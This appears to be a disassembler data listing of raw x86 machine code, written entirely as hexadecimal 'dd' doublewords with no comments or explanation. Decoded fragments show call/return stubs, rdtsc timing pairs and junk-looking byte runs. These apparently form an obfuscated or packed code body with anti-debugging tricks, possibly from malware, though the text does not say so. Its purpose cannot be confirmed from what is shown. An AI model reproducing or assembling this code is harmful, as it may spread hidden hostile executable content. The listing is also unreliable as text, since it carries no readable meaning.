8D290000h, 6481741h, 0E904C483h dd 5, 0C30358B5h, 48E9618Ah, 50000001h, 54000000h, 58000000h dd 5C000000h, 60000000h, 64000000h, 68000000h, 6C000000h dd 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h dd 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h dd 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h dd 0EC000000h, 38h dup(0) dd 2F000000h, 0EB00572Ch, 8D009F50h, 4B971285h, 0F6BF0F06h dd 98528589h, 958B064Bh, 6480535h, 0FF985C6h, 8B540648h dd 480BA98Dh, 0BDBD0306h, 0E806482Eh, 4, 0EE626829h, 1F61BB66h dd 8BCF8B50h, 0E8042444h, 8, 6A20EC03h, 0DB4D9DA9h, 7E9h dd 0AB67F700h, 0D3883301h, 50008B5Eh, 14E852h, 9DB50000h dd 7A0C94E1h, 6E7BE347h, 0DF2FF589h, 10595475h, 840FFEDBh dd 0 dd 50310F5Bh, 50310F52h, 5A310F52h, 5A585A58h, 24448958h dd 0ECB75704h, 8B665859h, 0A9B5FFFBh, 89064829h, 480B9D85h dd 60858D06h, 8B064B7Fh, 4809419Dh, 66D0FF06h, 0BA00C781h dd 98568589h, 0DE9064Bh, 49000000h, 58B62436h, 7EF89CCAh dd 0E38BB472h, 4CE9h, 0B9B50100h, 8B064832h, 4811DD9Dh dd 0B58B5606h, 64B9852h, 85830689h, 64B9852h, 60C35E04h dd 9712B58Dh, 0FEB064Bh, 0FF006A56h, 5695FF36h, 5E064B98h dd 8304C683h, 0EC75003Eh, 8F0FC361h, 6, 32F1958Bh, 0C9800648h dd 4A858D49h, 53064B99h, 6659D68Bh, 89E6DFBEh, 48099585h dd 0E5E906h, 4D100000h, 71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h, 0D0A3353h dd 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h, 0EFB6F360h dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h) dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh, 0A8000E0Ah dd 54A766C1h, 0FA43F2FDh, 0E975A9CCh, 0C2Eh, 4B9C9A68h dd 0E3EFE906h, 0A568FFFCh, 0E9064B9Dh, 0FFFCE3E5h, 4B9E7D68h dd 0E3DBE906h, 6668FFFCh, 0E9064B9Fh, 0FFFCE3D1h, 4B9FDB68h dd 0E3C7E906h, 6F68FFFCh, 0E9064BA0h, 0FFFCE3BDh, 4BA19C68h dd 0E3B3E906h, 0A768FFFCh, 0E9064BA2h, 0FFFCE3A9h, 4BA39268h dd 0E39FE906h, 5468FFFCh, 0E9064BA4h, 0FFFCE395h, 4BA51368h dd 0E38BE906h, 0C56CFFFCh, 70F2AECAh, 0E47B1775h, 670F9BF9h dd 16920E6Ah, 5527113h, 0D0B0B13Dh, 452722C4h, 0CFADAC49h dd 375550D3h, 0F3B5099Ch, 0C17C6FCCh, 0FE85A47Fh, 68FE8AFBh dd 0AE250C7Dh, 0FC839712h, 90CA60E1h, 6762012Bh, 0C08AB505h dd 3EC87955h, 7B047C6Ch, 0FEF57E0Ah, 667D0692h, 3DFCB909h dd 48227C6Ch, 2FB04C93h, 8C224330h, 60670Ch, 7DE8EF94h dd 33405DE3h, 42C3DE61h, 36BDCFECh, 993C4233h, 0C313B5E0h dd 7BD35311h, 0AD569A41h, 0A6DBCAD6h, 0E384EF55h, 9D1697E4h dd 0D066F666h, 0A9AF47BCh, 50E9DDBh, 85060000h, 0BB4AE8FEh dd 7573B945h, 49F677DFh, 0CCCB6838h, 29F3CCACh, 0FD3DE0BEh dd 0CEA97C6Ch, 7F4FE6B1h, 7C6CDD39h, 0CC68F887h, 2D7765CDh dd 247C6CDDh, 28D3F5AAh, 0F2DBA9B8h, 39h, 53A241DBh, 54544220h dd 0BF1794B6h, 0CF7EB924h, 36A12E23h, 6C405158h, 65129D7Ch dd 6C3F8FD5h, 5308BA7Ch, 0A9038E75h, 10154DBh, 0A63D0000h dd 6C3390C8h, 0FB535C7Ch, 0E8FE85E8h, 7F3C4D4Ch, 5AF681FEh dd 0B9FFCFC4h, 7762432h, 0ED8AFB78h, 2829D545h, 0AFAA495Bh dd 403A438h, 0F07301AEh, 0A5033101h, 24C78FC9h, 21525D76h dd 0A223A9A1h, 253D08C6h, 0EA897625h, 92118DEFh, 8DB6E697h dd 0F70658CFh, 337C6D49h, 47D1474h, 753CCCF8h, 0FDF7708h dd 0AFFF9634h, 82B76649h, 0E67DE897h, 368F5ADh, 0E01CF8D8h dd 0CD251476h, 9026A7h, 0B9F26564h, 0EF0AE5EEh, 4959F1B9h dd 6DD0D15Dh, 12A2DD06h, 8CDF4FC0h, 1F000009h, 0ADF99B96h dd 2A660207h, 0BEEAB695h, 4D593B36h, 0A3C0A0A1h, 4B4EEAD2h dd 0FEEB7D29h, 647B0692h, 0ECEB8804h, 0EEC0D78Ch, 7C6FCEAAh dd 85F79036h, 0D66DF8F9h, 2432C0F8h, 0D395E976h, 0E1762432h dd 258DEA86h, 6F6A0985h, 0A1FD940Dh, 762432E7h, 32FABE10h dd 0B9C67624h, 95DBACCBh, 0B5AFA3F1h, 0B90E9931h, 7549DC7Eh dd 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 69B46BE7h, 245530D7h dd 24DFEF47h, 0FEDBA903h, 0D4h, 0FBFE8525h, 8B72FE8Ah dd 44A4A890h, 7C3C9209h, 487624C1h, 5021AE2Fh, 24C5B382h dd 797C0776h, 0C3D752EEh, 5253203Dh, 6FC7A4D5h, 0B9BC4753h dd 8323BDC8h, 20B0F18Eh, 522A809Fh, 9D34A369h, 27777C03h dd 7624BE61h, 2B83006Fh, 6CE8A0ADh, 593B447Ch, 11844671h dd 0B7794ABDh, 86119E82h, 0DCD55DEFh, 1B1E9A76h, 0DF99F58Ch dd 0ED762636h, 9C2C82h, 3FDA6564h, 7912A3B7h, 8810886h dd 81200000h, 0CB6E28Eh, 0A83F6B09h, 23C3DFBDh, 0AA56422Eh dd 0C9AEB5D7h, 147475F1h, 99FBE678h, 361600Dh, 8BE9EC97h dd 0AFE9C5D8h, 3D7C6FCFh, 0F985F8ABh, 0D5D052EEh, 0D197C7A4h dd 1F762432h, 6D6F264h, 0C3403F80h, 0C96A2642h, 65F7AECAh dd 5073DBDEh, 6CFBFE85h, 774750D0h, 76243331h, 273F0BFh dd 7550F765h, 0A0CF6704h, 345453D0h, 3C079F04h, 0D375079Eh dd 0D9B560F6h, 7C6C4294h, 842FC1D0h, 4197D181h, 38C57C6Ch dd 0AF2C4B39h, 0B5FB934Dh, 73287B34h, 7AC0A9B4h, 8E44A68h dd 0A4FA6D2Fh, 74EC8B89h, 6B25525Dh, 431B8A50h, 7B37B861h dd 3E35BE52h, 0FB8C1898h, 37075FFh, 0D077E562h, 4FE174F5h dd 0D7C3A1A4h, 7996292Ch, 4F1A2242h, 7A922D0h, 79F80000h dd 0E48E1A66h, 701783E1h, 1B9BF795h, 822E7A06h, 0F1C6ED8Fh dd 4C2C2DC9h, 0B1D3CE50h, 3B5958E5h, 0A3C1C46Fh, 87C19D30h dd 557C6FD0h, 0FE8510F3h, 10376CFBh, 0F1C92478h, 4804B31Bh dd 643AAD6Fh, 7C6CEDD5h, 5A1E7001h, 667C6CE4h, 90F89819h dd 0DB59F3A7h, 0E4C880DEh, 9DF17C6Ch, 7C6CE4DBh, 0B5F28EE9h dd 620FA134h, 39911E6Fh, 7FAC025Ch, 0A0FC82B8h, 15800100h dd 9FFDF87Bh, 0CDC86A06h, 180EB565h, 8CED9A9Dh, 251E7E0Fh dd 679EF067h, 967C72F4h, 0D7A79FAh, 0CDAAC66Ch, 8A29C35Ah dd 0C86B278Fh, 0E3C583DBh, 94137C6Ch, 5BEC8017h, 0E77E3F4Ch dd 6CE3D197h, 3A901F7Ch, 7271F2AEh, 54DE7205h, 1A25F951h dd 0B74EE570h, 6CE3A1E7h, 0EA402F7Ch, 0B51449ECh, 0AB129D82h dd 12A53AAAh, 0C073E39Ch, 0E3000006h, 712D4F42h, 0FEAAF6F3h dd 821E7A69h, 118DEFE2h, 0EFF49495h, 3F32BE86h, 0A2BF415Dh dd 282FCAC6h, 0D0D75C48h, 328C23B0h, 7C6FD176h, 0B92BFC42h dd 0B749DC7Eh, 27443510h, 85A8068Fh, 617C6FCCh, 64F88F06h dd 0DAB6C7C2h, 70C6475Ah, 910403A0h, 675D5118h, 0B911D8CFh dd 0F3F67D29h, 2BF1CA82h, 657E2BCh, 0E48382B8h, 0A210A259h dd 6B1B9412h, 64Bh, 0B8D8D75Eh, 214346ECh, 95F7D275h, 187879F9h dd 83E1E08Ch, 8F2B1360h, 2CB2EE8Ah, 0BA475331h, 2AC9C5A7h dd 0FF964D2Fh, 6FD1E9AFh, 0B651F77Ch, 49DC7EB9h, 6FCD9975h dd 1580EF7Ch, 9FFDF87Bh, 14656003h, 4ADD7FB8h, 0BB66C174h dd 66BBF082h, 87219207h, 6F0BA3h, 7D78FB95h, 4FEA861Fh dd 0ABA98DBCh, 0D4558193h, 0CABBBE44h, 0EE9505ADh, 0D7A7DF8h dd 3E9EEF6Ch, 0FED04705h, 7C6C7957h, 412FD7A3h, 0A522A3BEh dd 5D94E71Ah, 0B02EE10Ch, 5B7h, 14744BEAh, 9DFFFA78h, 1637E01h dd 7414ED95h, 0FF9D9C18h, 3BC7FFD4h, 0B84E5A26h, 56D3CFADh dd 0DE653153h, 932AB9DBh, 6FD27D3Bh, 12F54B7Ch, 6CFBFE85h dd 0BABF3BD5h, 0BAFEACCDh, 6762432h, 0D6A2D179h, 5B4A562Dh dd 883422C1h, 3ABBF889h, 36862C4Dh, 0DCCB5C0Dh, 7831C85Fh dd 0A44F6D8Ch, 0A6D3D0A1h, 41E39AF0h dd 616FC744h, 7C6D42BCh, 0A03E4F28h, 7C6D21E4h, 180CF36Fh dd 0DBA9FDE3h, 5D54DC70h, 67E74F2Ch, 36h, 95E980BCh, 762432D3h dd 5C3086E1h, 922EB963h, 360110Ch, 594EAABh, 347C6C40h dd 0B2180798h, 0BA087906h, 7C6C3FFAh, 0E26E551h, 0DBA90315h dd 0B1CFh, 0FE855400h, 72FE8AFBh, 0F1720E7Fh, 4CF785F2h dd 0E8BD2B49h, 0DC762436h, 64305057h, 0E5ABD8DFh, 0C9A530DAh dd 7C6C6584h, 0D5A5C7A0h, 7214D4EAh, 542520C7h, 0D95E2257h dd 0DF76E16Eh, 0E6B8BB4Dh, 7C6CF0A2h, 0B3C0412Eh, 17E5CF2h dd 4982B796h, 4D226638h, 0C1AE7626h, 0BF3BD540h, 26C2DEBAh dd 0A14B9C23h, 0B26D12A3h, 48A04h, 99981900h, 5AFFBh, 0B4933460h dd 3938B8D4h, 0AEA34F5Bh, 0E8D0A1C2h, 732F4D4Ch, 490F0EDh dd 8E1A6679h, 0D182EEE5h, 0D3A8E0BEh, 92347C6Fh, 0F8F985F1h dd 94670C98h, 2ABD271Eh, 54214E3Fh, 1091874Fh, 7EB9D370h dd 647549DCh, 0B07C6C40h, 3FCB8DE1h, 9E197C6Ch, 92D26011h dd 0C67C6C3Fh, 4557243Bh, 5CC9A6A3h, 2025D30Fh, 0B169A02Bh dd 6ED835CAh, 56D26EB1h, 0ED452253h, 0A9632AD1h, 8127B9DBh dd 9142F784h, 9C55A793h, 9C401697h, 0BAh, 0FBFE8507h, 7F72FE8Ah dd 36E5B00Eh, 52D17624h, 5529C057h, 76243613h, 5070C6A1h dd 0CBB8BF44h, 336C25BCh, 0F01B41C1h, 0DABBFDADh, 7D097624h dd 0D77FFCF5h, 0A86A3C07h, 0F7FBCC73h, 85D94CCDh, 7C6D02B8h dd 7F3995ECh, 4D7C6CC1h, 37B4B531h, 21BBEAB6h, 0B5F2839Eh dd 0D476411Dh, 63936D41h, 0D6D182B7h, 1AD3Fh, 89883460h dd 0A38CD736h, 0B02EE112h, 37Fh, 0EC8C8322h, 553732B0h dd 0D9BBA639h, 4C2C25CDh, 0B7D5D450h, 73FFC7ACh, 0E086127Eh dd 6E0B87E5h, 169D096Bh, 0CBE27113h, 6FD4B5F3h, 0EABD037Ch dd 6DF8F985h, 0AC508834h, 8A2044A0h, 201A2FEh, 0FE85DD66h dd 0EC63C80Fh, 0B33054B0h, 360DB6C2h, 1EA13B6Ah, 0DE939AF7h dd 0EF6C575Ch, 0E683119Eh, 30934BE3h, 76E1AB94h, 6C825518h dd 18E2917Ch, 23575CEDh, 47DE869h, 0D58CBC68h, 8F621771h dd 7449A520h, 0B917339Bh, 20A1CDA3h, 4DD882BDh, 0A73530B3h dd 0E3B2181Dh, 0E98C868Bh, 0B4C5A21Eh, 0AA3DDFD8h, 5EE07C13h dd 87551343h, 17631A59h, 87E49570h, 0C222B006h, 0F320A506h dd 77DFDA59h, 12A93C7Bh, 3A65FE99h, 0EA7EBB3Ah, 0AD89FAB2h dd 8C9B2C4Dh, 9931BEFFh, 1D7F7AF9h, 58E7E281h, 7027718Bh dd 9454C2BDh, 17000002h, 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh dd 4551330Eh, 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh dd 0E4E3801Ch, 0E6B8CF84h, 7C6FD5A2h, 850F982Eh, 0C28AFBFEh dd 0EAC453F9h, 7C6C487Fh, 0ECEC8CEBh, 0FAA09B3Bh, 574A136Bh dd 0E47B82B4h, 244CCE8Ah, 359D1A76h, 401EFA85h, 32B2BC00h dd 0BB13C7F0h, 32B2A6FDh, 0B82FACCBh, 0FAD047E6h, 29CA6638h dd 2B5C5D2Ah, 0F8EC3EC8h, 5662C8E5h, 4B745829h, 0EC9D1681h dd 0BB550847h, 0BF563F97h, 7975802Dh, 251BF2Eh, 17651293h dd 0BE149570h, 3647B410h, 704EE537h, 32B21C38h, 2753FB84h dd 0B033CD58h, 38BBD7B5h, 0D237823Dh, 8E015617h, 1D210h dd 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch, 667B0793h dd 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h, 9DAA6BDh dd 0D6601876h, 0DA6C7C6Fh, 95E98049h, 762432D3h, 603086E1h dd 0D9B7C4C3h, 0D5A93CDEh, 7C6C4E78h, 89C1A3CCh, 10BA8521h dd 4855EB85h, 125B33E2h, 0B382B45Eh, 79123BFEh, 9B3335B1h dd 0E670901Fh, 2F178102h, 74E3A992h, 5EEA031Ah, 2DB8C735h dd 0BA100D93h, 0A268533Dh, 53E79C33h, 6E9461D0h, 0D16A0FA0h dd 0BA392AA4h, 0FE8F822Eh, 59BB19B1h, 0AF3B2A11h, 38BB55C0h dd 0F18E852Eh, 8A433B0h, 68FE6A6Dh, 0C76F0C7Dh, 4144EFBBh dd 0B49B11FEh, 0CA783759h, 113h, 7010EF96h, 0F99B9E24h dd 6D0F1AADh, 0D0B0B131h, 5B3938C4h, 0C7635B38h, 54EAA6C2h dd 0F27F2B49h, 62019DFFh, 374E0567h, 6FD82167h, 8E19AF7Ch dd 4BC80B80h, 8BEB8ECh, 0B87C19Dh, 2A557625h, 7B6F1484h dd 0EB88F9E4h, 88B31D6Ah, 267B53C2h, 627C6D12h, 0EFDBB13h dd 68CC7C6Dh, 0A20C8CD1h, 42C3ACDCh, 0BC6D5626h, 23403130h dd 59C33A2h, 6D28EFA9h, 1CB2FD7Ch, 0B8C368BEh, 86F7B082h dd 0DB4A49EAh, 10A6A341h, 989F2470h, 9355BEBh, 0D153EA0Ah dd 29D5A7D4h, 0A74091DCh, 56D7CF15h, 0B06F4159h, 5FAB07Bh dd 0E5B0A1DAh, 443084C4h, 828122EEh, 24D59E13h, 0C63806E3h dd 48415070h, 0E7A23396h, 0A14C0D1Eh, 6B365968h, 2FD444EAh dd 0A9495B28h, 0BE3CDBA8h, 9D981BC1h, 0A72A910Ah, 0F6D4F64Eh dd 0AF544060h, 0F5A8E0BEh, 4B34EA05h, 56EABDCAh, 0BF41D3AEh dd 146E0CA2h, 17000000h, 6EFAFF85h, 0FDBACBC6h, 0EC803255h dd 73304140h, 8510FBDBh, 494E5FCh, 790B787Fh, 0FC8CFDFCh dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h dd 0B9BFCCC9h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0F5682424h dd 8900002Eh, 0EC832434h, 24048904h, 4B9AE968h, 24348B06h dd 8304C483h, 248904ECh, 24048124h, 4, 4B8F6858h, 3C890000h dd 89F78924h, 0FF5F0878h, 83582434h, 34FF04C4h, 0C4815E24h dd 4, 0FCD7CCE9h, 4BB85CFFh, 3064BA6h, 0E8E0FFC5h, 0DF58D2C7h dd 3417DC2Eh, 0F72FE842h, 0C93335A2h, 34676F77h, 92510C0h dd 314C425Ch, 8C2DAA85h, 0B3126CA0h, 7B7134EEh, 9E79A509h dd 5E63D854h, 0E816A50Dh, 0Fh, 826F7347h, 348DC415h, 36D7FF2Dh dd 0B76BBEEAh, 810F5A87h, 1, 55C281FCh, 66000064h, 0C3C6DB81h dd 0BE66C92Bh, 48BEF38h, 0EF81660Ah, 0E8817B98h, 78172A1Bh dd 34DF8166h, 18C081ECh, 666BABB2h, 0F081F88Bh, 4A395FDEh dd 11840Fh, 0CE90000h, 1A000000h, 2E343835h, 0BF8A0AD4h dd 5004E432h, 48FF08Bh, 0CF81F90Ah, 14B6D59Ch, 6004E983h dd 5E5F5153h, 0E800Fh, 8E80000h, 7C000000h, 8CB5ACFFh dd 5A5231F7h, 44F98161h, 0FFFFF9Ch, 0FFFF9185h, 0C7BB66FFh dd 75E96Fh, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 0ED5B5FFh dd 858D0648h, 64B7F60h, 8589D0FFh, 6481B95h, 0EFC1FE8Bh dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1B9595FFh, 32E90648h dd 0C6000000h, 480FF985h, 0DF685606h, 0FFA9C530h, 4829A9B5h dd 60858D06h, 0FF064B7Fh, 0D8589D0h, 8D06480Ch, 48093D85h dd 206A5006h, 0FF56056Ah, 480C0D95h, 0C1C36106h, 4BEB06E0h dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh dd 6700A6DBh, 1A00461Bh, 0D5A3EAh, 9C000000h, 0FEC819h dd 0FBFE4800h, 28000000h, 0D427E641h, 0E9C3727Dh, 0DD8h dd 7D9523FCh, 83064827h, 4830E5BDh, 850F0006h, 62h, 77D1BB66h dd 2AF5958Bh, 0B80648h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 40DEC350h dd 530F0D18h, 0B19D8B2Bh, 81064815h, 27BC90F2h, 4C21Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B1C35040h dd 0D281665Dh, 0C08BF342h, 1B459589h, 0BD830648h dd 6481299h, 83097500h, 480D35BDh, 13740006h, 0C08B5350h dd 4D0B8h, 389D8D00h, 0FF064AA2h, 83585BD3h, 480D35BDh dd 11740006h, 0D0B85350h, 8D000004h, 4AA1859Dh, 5BD3FF06h dd 0C8B70F58h, 19B58950h, 5B06480Eh, 8DF5C08Bh, 4BA84A85h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 1707BDA4h, 7D9D8B98h, 8B064814h, 48139595h dd 0BA605006h, 3564236Fh, 8E857h, 16760000h, 9C2F5C88h dd 5B595C2Fh, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0A2C35343h, 9FA25DA4h, 0D2812F29h, 574376EAh dd 0CE9h, 57B22200h, 0A5EE4105h, 0FBA3FA0h, 7858D46h, 53064BA8h dd 10DD8D8Bh, 905B0648h, 0B650DA8Bh, 6A90A8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58954C3h dd 6481435h, 30A195FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 75FE27C3h, 57C8762Dh dd 330B0BBBh, 482FB9BDh, 0EE906h, 0A1480000h, 13E7D8F0h dd 76F2432Ah, 0E37B8607h, 424448Bh, 0FE8h, 0EC7C9200h dd 0F23BEF6Bh, 8AB59AFEh, 0AF95FCD0h, 1EE5958Bh, 895F0648h dd 4BA83285h, 24448B06h, 0D38B6608h, 0A8468589h, 9D8B064Bh dd 64822F9h, 615BD83h, 0F000648h, 0AE85h, 12E900h, 214A0000h dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 6840Fh, 0B5890000h dd 64832DDh, 0FF985C6h, 80470648h, 4E8ECDEh, 0D2000000h dd 8BD49AA7h, 525050D3h, 5250310Fh, 310F6160h, 0E78358B9h dd 5A585A28h, 24448B58h, 0DE8B6604h, 0BA66008Bh, 44896CA4h dd 0F580424h, 68Eh, 75BD2300h, 0FF064830h, 4829A9B5h, 8BC9B306h dd 482AB995h, 60858D06h, 0F064B7Fh, 68Ch, 9D9D8B00h, 0FF06482Bh dd 68E0FD0h, 8B000000h, 481CCDBDh, 15858906h, 60064806h dd 6850Fh, 0B5290000h, 6480D61h, 8361C28Bh, 48091DBDh dd 850F0006h, 148h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 86C35141h, 93E091CEh, 0F98A1AC3h, 0FF985C6h dd 6A470648h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 37DCC350h, 0D2CA814Bh, 0E8035232h dd 4, 8A0FB5E2h, 0AC94BF66h, 0B5525050h, 8A310F04h, 8B585ADAh dd 0B7042444h, 0E9008BF4h, 5, 0E70C8FC9h, 244489D7h, 0F525004h dd 8D0F5131h, 0 dd 58585A5Bh, 2E799589h, 0B5FF0648h, 64829A9h, 12E8h, 49F8ED00h dd 7D596BB6h, 334212F1h, 0EAEE2C03h, 0E8042086h, 0Fh, 0C772C3EBh dd 210AA99h, 89118BD2h, 2998F8E6h, 4818518Dh, 56595A06h dd 0A058D8Bh, 8D5B0648h, 4B7F6085h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 11E878A9h dd 0F1000000h, 2F1FCF63h, 35496959h, 26C94935h, 0A01AC8E3h dd 5AACB250h, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 1C32C355h, 9AE9A691h dd 2AF8F8C6h, 9719D89h, 85890648h, 648091Dh, 0D18B66F8h dd 0AF5BD83h, 0F000648h, 12485h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0F43D9DD9h dd 9B258D47h, 30A58D29h, 85C60648h, 6480FF9h, 0DF815156h dd 306AD853h, 4E85Fh, 6D390000h, 8B66D41Fh, 0F88B50DEh dd 424448Bh, 0AE9h, 9BDC4200h, 0BE0F2242h, 8BB73336h, 0C1BF6600h dd 2444897Dh, 8E804h, 4B920000h, 0BDD5BB69h, 0E956700Eh dd 6, 9DB129F9h, 5B5B69C5h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0D33BBEBAh dd 8960D564h, 480F21BDh, 0C0C38106h, 0FF5C7B05h, 4829A9B5h dd 0F1858906h, 6606481Bh, 8DC0B4BBh, 4B7F6085h, 8850F06h dd 60000000h, 0F28166F5h, 0FF612E11h, 659589D0h, 8B064800h dd 0F58589F9h, 6A06480Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 7B3BC350h, 77EC8846h dd 1D57B40h, 4811BD85h, 13E906h, 41F0000h, 8D060F7Ah, 5387EB6Eh dd 0E418F163h, 3E8E456Ah, 0F985C650h, 6C06480Fh, 4968CC8Ah dd 60A933F9h, 5ED38B51h, 24348161h, 723689CAh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 2820F60h dd 0B6000000h, 8E0FD1h, 61000000h, 89DA8B66h, 4832A1B5h dd 0D5B5FF06h, 0E906480Eh, 8, 1289C5FDh, 48FE304Ah, 38BA858Dh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 769463C3h, 9D89D6A1h, 64810C5h, 6AD0FFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 74B6D8C3h, 758D8B37h, 0F064811h, 8589D3BFh, 64BA836h dd 6AFB8B66h, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 6DED502Ah, 0C18D8977h, 0E9064828h dd 14h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 94207635h, 0C74650FDh dd 598C3968h, 28D0F6Ch, 8A000000h, 243481F8h, 6C599C39h dd 6E8h, 0B408D700h, 0FCFDB109h, 4E85Ah, 0 dd 0EBA0001h, 505DEEF4h, 0EE960h, 7F0F0000h, 0FF0B7F88h dd 14721E65h, 0E1FEFB75h, 8B61F08Ah, 0B3042444h, 66008B2Fh dd 4489CA8Bh, 8D0F0424h, 4, 5F616057h, 0DA8B5258h, 6AF959h dd 0FFD68B66h, 482ACD95h, 0C9816606h, 8589E796h, 64BA842h dd 6A4DB3h, 0FB5F180h, 287h, 6894B300h, 599BFD7Dh, 8CCCBB66h dd 7D243481h, 6A599AFDh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0F583C352h, 9D8BFCE1h dd 6482401h, 9589D88Bh, 6482801h, 0CE950h, 0B07F0000h dd 19E744Fh, 9C788CA8h, 4894C06h, 0E90B6A24h, 13h, 0A9FF9FC8h dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 8DF4BE5Dh, 4BA80F85h dd 6E806h, 0D7390000h, 68B08280h, 8FD8529h, 505A0648h dd 12E8h, 0DB6C5600h, 0CA28B11Ah, 0AE1985CCh, 18160696h dd 599BE513h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 9198C353h, 66EE450Ah dd 0E381D98Bh, 572A3F74h, 61595FFh, 2B600648h, 482ECD95h dd 91958B06h, 61064817h, 0A819B58Dh, 9589064Bh, 6481BADh dd 10E850h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh dd 0FB8B0598h, 2434895Ah, 2ED99D8Bh, 8B500648h, 240489DAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 12C35242h dd 300CAA4Dh, 11A98D8Bh, 95FF0648h, 648091Dh, 0FFCEB70Fh dd 799589D0h, 8B064832h, 4BA842B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 6AE1DB69h dd 1CFE9CD0h, 8D8B4FBDh, 6481025h, 1C899D8Bh, 85C70648h dd 64BA83Ah, 0 aFQa db 'f¿³q€~ ',0 dd 300840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0F560C0C3h, 0F520468Dh, 0A83E8589h dd 0D38B064Bh, 24E9h, 6A4000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0D82A26C3h, 0D2F28166h dd 3880FCh, 0FFD3850Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0C24FEEC3h, 0FC27411Ch dd 0B3C5482h, 4832C18Dh, 18D8906h, 0E9064814h, 2Ch, 9D89D98Bh dd 6482BF5h, 51006A48h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 1DBAE510h, 0F543E30Fh, 0F5C3880h dd 4584h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 80F51CB6h, 840F2F38h, 1Eh, 4ED8D31h dd 0BD8B0648h, 64803F1h, 0A83E853Bh, 830F064Bh, 0FFFFFF94h dd 27298D29h, 6A400648h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 57A7C351h, 0F041AF20h dd 51FCA938h, 2880Fh, 59560000h, 46BD835Ah, 64BA8h, 85840Fh dd 8D8B0000h, 6481879h, 0A8B0F50h, 0E9000000h, 5, 6B5F432Dh dd 24048930h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 48C35141h, 0F901B165h, 891A41F9h, 48118995h, 46850306h dd 0F064BA8h, 68Ah, 919D0300h, 0C606482Fh, 0AB20000h, 56006A58h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 2952F609h, 33527744h, 4829799Dh, 90FC5906h, 0C4978B9h dd 88BA505Ah, 9048CFDCh, 8C92BF66h, 0A832B5FFh, 95FF064Bh dd 64BA836h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0F2C35343h, 